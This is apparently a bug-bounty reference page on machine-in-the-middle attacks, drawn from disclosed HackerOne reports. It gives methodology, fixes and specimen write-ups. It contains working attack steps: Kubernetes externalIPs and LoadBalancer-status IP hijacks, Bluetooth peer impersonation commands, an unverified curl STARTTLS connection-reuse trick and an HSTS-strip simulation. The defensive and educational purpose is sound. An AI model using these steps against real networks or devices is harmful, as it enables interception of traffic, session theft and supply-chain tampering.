β Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
β Thin coverage β only 12 disclosed reports for this class; illustrative, not exhaustive.
Β§Basic information
Machine-in-the-Middle (MITM) is any bug where an attacker on β or able to claim β the network path between two endpoints reads, forges, or replaces traffic the victim believed was authenticated and confidential. It is not one bug but a family: a single plaintext http:// hop, a middlebox that strips HSTS, a TLS library that reuses an unverified connection, a squattable named pipe, a rogue router advertisement, or a Wi-Fi frame-injection flaw all collapse an "encrypted" channel back to cleartext.
The core mechanism is misplaced transport trust: an endpoint treats a channel as verified when some link in the chain never actually verified it. Two halves recur. Path bugs put you (or let you route yourself) between the endpoints β rogue IPv6 RA, IP hijack, ARP/BT/pipe squatting. Trust bugs make the endpoint accept an attacker-controlled channel it should have rejected β no pinning, HSTS stripped, verify-mode skipped on connection reuse, integrity-failure not discarded. A report only needs one half plus a plausible position for the other. Most of the time you never need a live on-path position to file β you simulate it.
Β§Methodology
Enumerate every hop of every "secure" flow. SSO/OAuth authorize, redirect_uri, intermediate redirects, update manifests, download links, in-app API calls. Any single http:// hop that carries a secret or runnable content is a finding.
Grep for plaintext delivery of runnable / security-relevant content β installers, binaries, scripts, SWFs, and auth endpoints served over http:// when https:// exists.
Simulate the on-path position. Point a hostname at an attacker IP via the hosts file (cert-block simulation) or drop an intercepting proxy with a custom CA in front of the client.
Probe the trust check. Does the client still hard-block the cert error? Does it re-verify after restart? Does it pin? Does a middlebox re-add a click-through override?
For libraries/protocols, audit the verify path directly β connection-reuse caches (are all TLS settings compared?), integrity-failure branches (is the whole message discarded?), signedβunsigned assignments, and scheme flags that exempt STARTTLS.
For fabric bugs, check whether the L2/L3 assumption actually holds: is IPv6 hard-disabled or merely unused? Are externalIPs/pipe DACLs validated? Does reconnection re-authenticate?
# Any http:// hop to a binary, installer, script, or auth endpoint is a finding
grep -RniE 'http://[^"'\'' ]+\.(exe|dmg|apk|tar\.[a-z0-9]+|zip|sh|swf)' .
grep -RniE 'http://[^"'\'' ]*/(oauth|authorize|login|sso|saml)' .
Β§Technique variants
Find which class the target fits, then use the matching probe/exploit.
Plaintext hop in a "secure" flow
A single http:// hop leaks whatever crosses it. In SSO/OAuth the prize is the session-bound state/code; capture it on-path and complete the flow yourself to log the victim into an attacker-controlled session (login-CSRF β ATO). For downloads, the prize is the binary itself β swap it for a trojanized build.
# One plaintext authorize hop leaks the state+code (#703759)
GET http://www.PROVIDER/oauth/authorize?response_type=code&display=popup&client_id=...&state=<session-bound>&redirect_uri=https%3A%2F%2FTARGET%2Fredirector
# Plaintext installer delivery -> swap the artifact in transit (#84797)
http://download.TARGET/community/installer-stable.tar.bz2 # https:// exists -> avoidable MITM
The endpoint runs TLS but never enforces it. Mobile apps that toggle a "secure connection" but don't persist it after restart and don't pin; TLS libraries whose connection-reuse cache skips the verify/pin re-check. Prove it with an intercepting proxy + custom CA.
# Mobile: install custom CA, set device proxy -> mitmproxy/Burp, then KILL and relaunch the app.
# TELL: readable traffic after restart = "secure" toggle not enforced AND no pinning (#64731)
# curl STARTTLS connection reuse skips pinning/verify (#3718195, CVE-2022-27782 sibling)
# Both transfers MUST run in ONE curl process (--next) so they share the connection cache;
# two separate curl invocations each get their own pool and would NOT reuse the conn.
curl --ssl-reqd --insecure imap://TARGET/ \
--next \
--ssl-reqd --pinnedpubkey KEY imap://TARGET/ # handle B reuses A's unverified conn -> pin check NEVER runs
TLS-terminating middlebox strips HSTS
AV / "web protection" / corporate proxies that break up HTTPS to scan it take over certificate validation β and downgrade it. Where a browser hard-blocks a cert error on an HSTS/preloaded site, the middlebox re-adds a clickable override, turning HSTS-immune high-value sites back into MITM targets. Simulate with a hosts-file redirect.
# %WINDIR%\system32\drivers\etc\hosts -- redirect an HSTS-preloaded host to a wrong IP
93.184.216.34 www.google.com
# Load with the TLS-scanning AV installed. A bare browser HARD-blocks (HSTS).
# TELL: an "I understand the risks" override reappears -> middlebox stripped HSTS enforcement (#461780)
Integrity / crypto wrapper failure
On a cryptographically protected channel (GSSAPI/krb5), the verify-failure branch must discard the whole message. A "log-and-continue" path that overwrites only a prefix leaves the rest of the attacker bytes intact as forged responses β and error sentinels (-1) flowing into unsigned size fields underflow and leak memory.
// GSS-unwrap failure masks only 5 bytes; rest of attacker data survives as forged FTP responses (#1590071)
maj = gss_unwrap(&min, *context, &enc, &dec, NULL, NULL);
if (maj != GSS_S_COMPLETE) {
if (len >= 4)
strcpy(buf, "599 "); // only overwrites 5 bytes -- attacker's remaining bytes survive
return -1; // becomes size_t buf->size -> underflow -> heap leak
}
Local IPC as a network (named-pipe squat)
On Windows, named pipes without an explicit restrictive DACL are squattable: multiple instances of the same name coexist, so a local attacker races to own an instance a client binds to, then relays to the real server β MITMing a cleartext local protocol.
# Attacker creates an extra instance of the target's named pipe and waits for a client (#1019891)
# On client connect: open the REAL pipe as a client, relay both ways -> read/alter cleartext SQL.
# Audit CreateNamedPipe() calls for missing/weak security descriptors.
L2/L3 network fabric
Claim or reconfigure the path itself.
# Kubernetes externalIPs / LoadBalancer-status IP hijack (#764986, CVE-2020-8554)
# Anyone able to create Services can claim ANY IP -- kube-proxy routes it to the attacker pod.
apiVersion: v1
kind: Service
metadata: {name: mitm-external-eip, namespace: kubeproxy-mitm}
spec:
ports: [{name: https, port: 443, targetPort: 8443}]
selector: {app: echoserver}
type: ClusterIP
externalIPs: ["VICTIM_IP"] # claim 1.1.1.1, a ClusterIP, a pod IP...
# LoadBalancer variant patches status -- only THIS path can claim 127.0.0.1 (#764986)
curl -XPATCH -H 'Content-Type: application/merge-patch+json' \
'.../services/mitm-external-lb/status' \
-d '{"status":{"loadBalancer":{"ingress":[{"ip":"VICTIM_IP"}]}}}'
# Rogue IPv6 Router Advertisements MITM an "IPv4-only" cluster (#819717)
# From a root container (CAP_NET_RAW is enough): broadcast crafted ICMPv6 RAs on the veth/host link.
# Host (accept_ra=1) autoconfigures a default route pointing at you. Run a USERSPACE TCP/IP stack
# (POC: smoltcp) since CAP_NET_ADMIN/iptables are unavailable. Dual-stack A+AAAA DNS + happy-eyeballs
# means clients try IPv6 FIRST -> you MITM even hosts that "used no IPv6".
sysctl net.ipv6.conf.<iface>.accept_ra # 1 = spoofable; fix: 0 (or ipv6.disable=1)
# Bluetooth SSP reconnection impersonation -- no pairing mode, no user action (#2642615)
echo 'PRETTY_HOSTNAME=Example Laptop' >> /etc/machine-info # match victim's paired-peer name
./chgbtaddr -addr 00:11:22:33:44:55 # clone the paired-peer BT address
sudo systemctl restart bluetooth.service
bluetoothctl discoverable on
# Wait for the target to power-cycle/idle-off, short-press power (avoids pairing mode) -> it
# auto-connects to you. Impersonate BOTH peers -> full BT MitM.
β NOTE
Wi-Fi FragAttacks (#1238470) is the fabric-injection variant: the A-MSDU flag in the plaintext 802.11 header is unauthenticated, and receivers reassemble fragments across keys / from stale caches β so plaintext (fragmented) frames are accepted even in protected networks. Run fragattacks against both clients and APs; injected frames enable DNS hijack and internal-network pivots.
Parallel-channel config write
A sensitive settings store served over HTTPS is still MITM-able if a parallel http:// path can write the same state. Check whether security-relevant settings/cookies can be set over an unauthenticated channel.
# Flash settings-manager: SWF served over HTTPS but the same settings store is writable over HTTP (#54094)
# Serve a modified settings SWF at the manager path via mitmproxy over the victim's HTTP traffic
# -> persist webcam/mic grants, CORS exemptions, or disable auto-update for the attacker's domain.
Β§Bypasses
Filter / control
Bypass
Seen in
HSTS enforcement
TLS-scanning AV outsources cert decisions, re-adds a click-through override on preloaded sites
#461780
Pinning / verifypeer
STARTTLS schemes lack PROTOPT_SSL, so the conn-reuse config-match is never called; handle B reuses handle A's unverified session
#3718195
Integrity check
GSS-unwrap failure overwrites only a 5-byte 599 prefix; rest of attacker bytes survive as forged FTP responses (-1βsize_t underflow leaks heap)
#1590071
"IPv4-only" network
IPv6 merely unused (accept_ra=1), not ipv6.disable=1; CAP_NET_RAW + a userspace stack MITMs without CAP_NET_ADMIN
#819717
Loopback guard
127.0.0.1 blocked for externalIPs but claimable via the LoadBalancer-status path
#764986
WPA/WPA2 protection
unauthenticated A-MSDU flag + mixed-key / stale-cache fragment reassembly injects plaintext frames into protected networks
#1238470
Reconnection auth
SSP re-authentication not run on reconnect; matching address+name is trusted, no pairing mode needed
#2642615
HTTPS-only settings store
the same Flash settings SWF/cookie is writable over a parallel http:// path
#54094
Named-pipe ACL
Windows multi-instance pipes with weak/absent DACL let a hostile instance win the client bind
#1019891
β² WARNING
A "missing pinning" or "http:// link" finding is only real with a plausible position. Simulating the on-path role (hosts file, proxy + custom CA, local user for a pipe squat) is enough to demonstrate it β but a report that just observes plaintext with no secret/runnable content crossing it, and no demonstrated interception, closes as informative. Show what you capture or swap, not merely that the channel is plaintext.
Β§Escalation & impact
MITM is a position primitive; the impact is whatever you inject once you hold it.
Plaintext SSO hop β intercept state/code β account login (ATO) β the dominant web outcome (#703759); HSTS-strip on preloaded high-value sites re-enables ATO-grade phishing (#461780).
Rogue IPv6 RA β host MITM β node takeover β redirect the host's traffic, then chain a host-side RCE (apt CVE-2019-3462) (#819717).
Wi-Fi injection β DNS hijack / SSL-strip / internal pivot β force a malicious DNS server or punch NAT holes to internal devices (#1238470).
Service create β kube-proxy reroute β intercept/relay TLS across tenants with an attacker cert (#764986).
HTTP-delivered installer swap β code execution β a supply-chain outcome from a single plaintext link (#84797); named-pipe squat β MITM cleartext SQL β arbitrary SQL as the victim (#1019891).
Force HTTPS on every hop, and verify signatures on downloaded artifacts β an end-to-end https:// flow with no plaintext store-write is not exploitable (#84797, #703759).
Honor HSTS/preload in any TLS-terminating middlebox β no click-through override (#461780).
Compare ALL security-relevant TLS settings before connection reuse (verify mode, pinned key, client cert, SNI); do not exempt STARTTLS via a scheme flag (#3718195).
Discard the whole message on integrity failure; never let error sentinels (-1) flow into unsigned size fields (#1590071).
Hard-disable IPv6 (ipv6.disable=1) or set accept_ra=0 on managed interfaces (#819717); restrict externalIPs/LB IP ranges with an admission webhook (#764986).
Restrictive DACLs on named pipes (#1019891); enforce certificate pinning + persistent HTTPS in mobile apps (#64731); re-authenticate on device reconnection (#2642615).
Β§Tools
mitmproxy / Burp with a custom CA β client interception and cert-block simulation (#54094, #64731).
hosts-file redirect β point an HSTS host at a wrong IP to test middlebox override behavior (#461780).
kubectl / curl PATCH β the Kubernetes externalIPs and LoadBalancer-status hijack paths (#764986).
bettercap / arpspoof β general on-path positioning on a shared LAN.
β¦Specimens β real-world examples
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 12 in this class.
Real-world example
Bluetooth reconnection auth bypass by impersonating a paired device (SSP non-compliance)
Program sonySurface otherChain impersonate laptop -> connect to headphones; impersonate
Root cause
On reconnection the device does not follow Secure Simple Pairing's re-authentication; an attacker who clones a previously-paired peer's BT address and adapter name connects with no user interaction and even when the device is not in pairing mode.
Method
Pair victim device with its legitimate master in advance.
Spoof the Raspberry Pi's BT address (script) and adapter name to match the victim's master, set Discoverable.
Wait for the target to power-cycle/idle-off; power it on (short-press to avoid pairing mode) -> it auto-connects to the attacker with no prior pairing.
# change BT name
echo 'PRETTY_HOSTNAME=Example Laptop' >> /etc/machine-info
# change BT address (Go helper from report)
go build main.go -o chgbtaddr
./chgbtaddr -addr 00:11:22:33:44:55
sudo systemctl restart bluetooth.service
bluetoothctl discoverable on
Insight β For BT/BLE devices, test whether reconnection re-runs authentication or just trusts a matching address+name. Spoof the paired peer identity while the device is out of pairing mode; success = impersonation primitive that, combined with power-save/idle-off session drops, yields a full MitM.
MariaDB's named-pipe server is created without a restrictive security descriptor, so any local user can create additional instances of the same pipe; an attacker races to own an instance a client connects to, then proxies to the real server, MITMing cleartext SQL traffic.
Method
Attacker creates an instance of the MariaDB named pipe and waits for a client to connect to it
On client connect, attacker opens the real pipe server instance as a client
Attacker relays messages both ways, reading/altering the cleartext SQL and running commands as the connected user
Insight β On Windows, named pipes without an explicit restrictive DACL are squattable: multiple instances of the same name coexist and clients may bind to a hostile one. Audit CreateNamedPipe calls for missing/weak security descriptors; the same pattern enables local privilege escalation and credential theft in many services.
Program kasperskySurface desktopTag account-takeover
Root cause
AV/'web protection' products that break up HTTPS to scan it take over certificate validation but do not honor HSTS (preload list or Strict-Transport-Security header). Where a browser would hard-block a cert error on an HSTS site, the AV re-adds a clickable 'I understand the risks' override, re-enabling MITM against sites that should be immune.
Method
Confirm target host is HSTS-preloaded / sends Strict-Transport-Security.
Simulate MITM by pointing the hostname at an attacker IP (edit hosts file to a wrong IP for www.google.com).
Load the site with the TLS-scanning AV installed; observe an override option ('I understand the risks') appears despite HSTS.
User (or social-engineered victim) clicks through -> attacker-served content is accepted.
# %WINDIR%\system32\drivers\etc\hosts
93.184.216.34 www.google.com # example.com IP, simulates MITM of an HSTS-preloaded host
Insight β Any middlebox that MITMs TLS (AV, corporate proxy, parental filter) is a downgrade of the browser's own defenses: test whether it re-enables cert-warning bypass on HSTS/preloaded sites. AV presence is fingerprintable, so an attacker only fires when the weakened client is present.
Program ibbSurface desktopChain network MITM -> write persistent Flash sandbox settings (Tag cors
Root cause
The Flash Player settings manager is served over HTTPS, but the local settings SWF/cookie can also be placed/edited by serving the corresponding path over plain HTTP, so a network MITM can write persistent sandbox settings.
Method
MITM the victim's HTTP traffic (e.g. mitmproxy) and serve an altered settings SWF on the matching path
Write local settings granting webcam/mic access, CORS exemptions, or disabling auto-update
Settings persist, widening the attack surface for the attacker's domain
# serve modified settings SWF over HTTP at the settings-manager path via mitmproxy; embed remote SWF or inject into victim HTTP traffic
Insight β A sensitive config surface delivered over HTTPS is still MITM-able if a parallel HTTP path can write the same state. Check whether security-relevant settings/cookies can be set over an unauthenticated/HTTP channel.
Program kubernetesSurface cloudChain Rogue IPv6 RA -> host IPv6 MITM -> chain apt CVE-2019-Tag cloud-gcp
Root cause
IPv4-only Kubernetes nodes usually leave IPv6 not fully disabled, with accept_ra=1 and forwarding=0. A process running as root in a container (default CAP_NET_RAW, veth to host) can broadcast rogue IPv6 Router Advertisements that reconfigure the host's IPv6 stack, redirecting the host's IPv6 traffic to the attacker container. Dual-stack DNS (A+AAAA) means clients try IPv6 first, giving the attacker a window even where no IPv6 was in use.
Method
From a root container, use CAP_NET_RAW to send crafted ICMPv6 Router Advertisements onto the veth/host link.
Host accepts RA (accept_ra=1) and autoconfigures IPv6 default route/prefix pointing at the attacker.
Run a userspace TCP/IP stack (POC uses smoltcp) since CAP_NET_ADMIN/iptables are unavailable; listen on IPv6 addresses.
Victim host resolves A+AAAA, connects over IPv6 first -> reaches attacker = MITM; optionally chain a host-side RCE (apt CVE-2019-3462) to escalate to the node.
# root-in-container POC (smoltcp): broadcast rogue IPv6 RA + serve dummy HTTP on any v6 addr
# fix: set net.ipv6.conf.<iface>.accept_ra=0 on all CNI/K8s-managed interfaces
Insight β IPv6 SLAAC/RA spoofing MITMs 'IPv4-only' networks whenever IPv6 is merely unused rather than hard-disabled (ipv6.disable=1). CAP_NET_RAW alone (no CAP_NET_ADMIN) suffices by implementing the stack in userspace. Always check accept_ra and whether IPv6 is truly off, not just unconfigured.
Program kubernetesSurface cloudChain Service create/patch -> kube-proxy routes victim IP to atTag cloud-gcp
Root cause
Any principal able to create/patch Services can set spec.externalIPs to an arbitrary IP, or (with status patch rights) set a LoadBalancer ingress IP, with no validation that the IP belongs to the cluster's allocation. kube-proxy programs iptables/IPVS to route that IP to the attacker's pod, intercepting traffic destined for external IPs (e.g. 1.1.1.1), ClusterIPs, pod IPs, or 127.0.0.1.
Method
As a user who can create Services, deploy an attacker echo/mitm pod + Service.
ExternalIPs path: create a ClusterIP Service with spec.externalIPs=[victimIP].
LoadBalancer path: create a LoadBalancer Service then patch status.loadBalancer.ingress[].ip=victimIP via the API.
kube-proxy now routes victimIP to the attacker pod; test node->IP and pod->IP curls to confirm interception (external IP, ClusterIP, pod IP; 127.0.0.1 works only via LB path).
Insight β In multi-tenant Kubernetes, the ability to create Services is an IP-hijacking / MITM primitive: externalIPs and LB status IPs are trusted by kube-proxy without ownership checks. Mitigate with an admission controller (later shipped as the externalIP webhook) restricting externalIPs/LoadBalancer IP ranges. When testing clusters, try claiming a ClusterIP, pod IP, or 127.0.0.1 to intercept internal service traffic.
Program bumbleSurface webChain http authorize hop -> MITM intercept state/code -> accTag oauthTag account-takeover
Root cause
The SSO flow redirects the user to the identity provider's plaintext http authorize URL; a network attacker can serve a fake login page (credential theft) or capture the http-borne state/code and replay it to authenticate as/into the victim.
Method
Start SSO login and capture the redirect to the IdP authorize endpoint
Confirm the authorize URL uses http:// (not https)
From a MITM position, either phish credentials on a fake IdP page or intercept the state/code and complete the flow
Insight β Inspect every hop of SSO/OAuth flows for http:// URLs (authorize endpoint, redirect_uri, intermediate redirects); a single plaintext hop leaks the state/code and enables credential-phishing or login-CSRF for a MITM attacker.
Program curlSurface otherChain integrity-check bypass -> control-channel response inject
Root cause
On a GSSAPI-protected FTP control channel, when gss_unwrap returns an error curl only prefixes the buffer with '599 ' and returns -1, but read_data assigns that -1 into a size_t buf->size and does not discard the raw attacker bytes, so unverified server data is treated as legitimate FTP responses and an underflowed size later leaks heap memory.
Method
MITM (or malicious server) sends data that fails GSS verification on a krb5 FTP control channel
curl writes only a 5-byte '599 ' junk prefix but keeps the rest of the attacker bytes as response lines
Attacker picks a protocol position where 599 is non-fatal, then forges subsequent (predicted) control responses; -1 -> size_t underflow additionally leaks heap
maj = gss_unwrap(&min, *context, &enc, &dec, NULL, NULL);
if(maj != GSS_S_COMPLETE) {
if(len >= 4)
strcpy(buf, "599 "); // only masks 5 bytes, rest of attacker data survives
return -1; // becomes size_t buf->size -> underflow
}
Insight β When an integrity check fails, the failure path must DISCARD the whole message, not partially overwrite it, and error sentinels (-1) must never flow into unsigned size fields. Audit crypto/verify wrappers for 'log-and-continue' handling and signed->unsigned assignments.
Program owncloudSurface webChain MITM position -> replace HTTP-delivered installer -> cTag supply-chain
Root cause
A download link for an installable artifact (tar.bz2) pointed at http:// even though https:// was available, letting a network attacker transparently replace the binary with a malware-bound version.
Method
Find download/update links for installers, binaries, or archives in pages/emails
Check the scheme - if http://, a MITM attacker can intercept and swap the file for a trojanized build
Confirm the same host also serves https:// (proving the http link is an avoidable exposure)
http://download.owncloud.org/community/owncloud-daily-stable8.1.tar.bz2
(should be https://download.owncloud.org/...)
Insight β Grep target pages, emails and update manifests for http:// links to executables/archives/scripts. Plaintext delivery of runnable content is a real supply-chain/MITM finding even without a stored bug - the fix is forcing HTTPS (and ideally signature verification).
Program curlSurface otherChain connection-reuse pooling flaw -> pinning/verifypeer bypas
Root cause
curl's connection-reuse ssl-config comparison (Curl_ssl_conn_config_match) is gated on the scheme flag PROTOPT_SSL; STARTTLS protocols (imap/pop3/smtp/ftp/ldap with CURLOPT_USE_SSL) run TLS but lack that flag, so a second handle silently reuses an existing TLS session without re-checking verifypeer/pinning.
Method
Handle A connects imap://host with USE_SSL=ALL and VERIFYPEER=0; an on-path attacker MITMs the STARTTLS upgrade.
Handle B connects the same imap://host with USE_SSL=ALL, VERIFYPEER=1 and a pinned key.
Because the plain imap:// scheme lacks PROTOPT_SSL, url_match_ssl_config returns TRUE without calling the ssl-config comparison.
B reuses A's unverified/attacker-controlled TLS session; B's verifypeer and pinning never run.
# Same bug class as CVE-2022-27782; STARTTLS protocols missed the fix.
# A: curl --ssl-reqd --insecure imap://host/ (attacker MITMs STARTTLS)
# B: curl --ssl-reqd --pinnedpubkey <key> imap://host/ (reuses A's conn, checks skipped)
Insight β When auditing any connection-pool/keep-alive cache, verify that ALL security-relevant settings (TLS verify mode, pinned key, client cert, SNI) are compared before a reuse, and that protocol-upgrade (STARTTLS) connections are not exempted by a scheme flag. A partial gate that only covers 'implicit TLS' schemes leaves the upgrade path unchecked.
The app's HTTPS/secure-connection setting is not persistently enforced and no certificate pinning is applied, so a proxy/attacker on the network can transparently intercept and read the app's traffic.
Method
Log in and enable the app's 'secure connection (HTTPS)' setting
Kill and relaunch the app behind an intercepting proxy
Observe traffic is downgraded/unpinned and fully interceptable
Insight β Test mobile apps for (1) HTTPS actually enforced after restart, not just toggled, and (2) absence of certificate pinning -- both let a network MITM read sensitive traffic. Use an intercepting proxy + custom CA; if it works, pinning is missing.
Program ibbSurface networkChain packet injection -> malicious DNS / SSL strip / NAT hole-
Root cause
Design and implementation flaws in 802.11: the A-MSDU flag in the plaintext header is unauthenticated, plaintext (fragmented) frames are accepted in protected networks, and receivers reassemble fragments across keys or from stale caches - enabling arbitrary packet injection and data exfiltration.
Method
Use the fragattacks test tool to probe a client/AP
Inject plaintext or plaintext-fragmented frames accepted despite protection
Abuse the unauthenticated A-MSDU flag to inject packets (with minor social engineering)
Pivot: force a malicious DNS server, or punch NAT holes to attack internal devices
# github.com/vanhoefm/fragattacks test tool (CVE-2020-24586/24587/24588 + impl CVEs)
Insight β Protocol-level trust of unauthenticated header fields (the A-MSDU flag) and lax fragment reassembly are a general injection class. For Wi-Fi engagements, run fragattacks against both clients and APs; injected packets enable DNS hijack and internal-network pivots.